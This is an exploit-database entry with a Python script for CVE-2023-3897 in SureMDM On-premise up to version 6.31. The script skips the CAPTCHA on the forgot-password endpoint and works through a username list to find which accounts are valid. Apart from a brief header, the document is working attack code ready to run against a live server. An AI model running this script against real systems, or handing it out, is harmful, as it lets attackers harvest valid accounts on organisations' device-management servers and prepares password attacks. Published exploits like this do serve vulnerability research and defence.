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## https://sploitus.com/exploit?id=EDB-ID:51804
# Exploit Title: SureMDM On-premise < 6.31 - CAPTCHA Bypass User Enumeration
# Date: 05/12/2023
# Exploit Author: Jonas Benjamin Friedli
# Vendor Homepage: https://www.42gears.com/products/mobile-device-management/
# Version: <= 6.31
# Tested on: 6.31
# CVE : CVE-2023-3897
import requests
import sys
def print_help():
print("Usage: python script.py [URL] [UserListFile]")
sys.exit(1)
def main():
if len(sys.argv) != 3 or sys.argv[1] == '-h':
print_help()
url, user_list_file = sys.argv[1], sys.argv[2]
try:
with open(user_list_file, 'r') as file:
users = file.read().splitlines()
except FileNotFoundError:
print(f"User list file '{user_list_file}' not found.")
sys.exit(1)
valid_users = []
bypass_dir = "/ForgotPassword.aspx/ForgetPasswordRequest"
enumerate_txt = "This User ID/Email ID is not registered."
for index, user in enumerate(users):
progress = (index + 1) / len(users) * 100
print(f"Processing {index + 1}/{len(users)} users ({progress:.2f}%)", end="\r")
data = {"UserId": user}
response = requests.post(
f"{url}{bypass_dir}",
json=data,
headers={"Content-Type": "application/json; charset=utf-8"}
)
if response.status_code == 200:
response_data = response.json()
if enumerate_txt not in response_data.get('d', {}).get('message', ''):
valid_users.append(user)
print("\nFinished processing users.")
print(f"Valid Users Found: {len(valid_users)}")
for user in valid_users:
print(user)
if __name__ == "__main__":
main()